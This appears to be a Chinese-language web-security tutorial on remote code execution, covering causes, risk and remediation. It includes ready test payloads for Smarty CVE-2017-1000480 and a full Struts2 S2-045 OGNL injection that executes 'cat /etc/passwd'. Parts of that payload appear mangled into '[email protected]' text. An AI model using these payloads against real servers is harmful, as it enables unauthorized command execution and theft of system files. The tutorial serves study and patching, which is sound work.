0x00 遠端代碼執行 - 介紹
1)什麼是遠端代碼執行
遠端指令執行 英文名稱:RCE (remote code execution) ,簡稱RCE漏洞,是指使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的代碼。
2)遠端代碼執行的特點
遠端代碼執行是指攻擊者可能會通過遠調用的方式來攻擊或控制計算機裝置,無論該裝置在哪裡。
0x01 遠端代碼執行 - 風險等級
高
0x02 遠端代碼執行 - 原理
由于開發人員編寫源碼,沒有針對代碼中可執行的特殊函數入口做過濾,導緻用戶端可以送出惡意構造語句送出,并交由伺服器端執行。指令注入攻擊中WEB伺服器沒有過濾類似system(),eval(),exec()等函數是該漏洞攻擊成功的最主要原因。
0x03 遠端代碼執行 - 常見場景
- 使用了危險函數的Web應用
- 低版本的Java語言Struts架構
0x04 測試方案
PHP中常見場景 - 模闆引擎代碼執行
Smarty簡介
Smarty是一個PHP的模闆引擎。更明确來說,它可以幫助開發者更好地 分離程式邏輯和頁面顯示。最好的例子,是當程式員和模闆設計師是不同的兩個角色的情況,而且 大部分時候都不是同一個人的情況。
CVE-ID : CVE-2017-1000480
産生原因:由于未對使用者的輸入點進行過濾,導緻經過eval函數,造成代碼執行
測試Payload:
*/phpinfo();/*
Java Struts2 (S2-045)
Struts 簡介
Struts2是一個基于MVC設計模式的Web應用架構,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的資料互動。Struts 2是Struts的下一代産品,是在 struts 1和WebWork的技術基礎上進行了合并的全新的Struts 2架構。
CVE-ID : CVE-2017-5638
産生原因:由于未對使用者輸入點進行過濾,被帶入ErrorMessage,當做OGLN表達式解析,造成代碼執行
測試Payload:
%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
0x05 修複方案
更新插件、架構新版本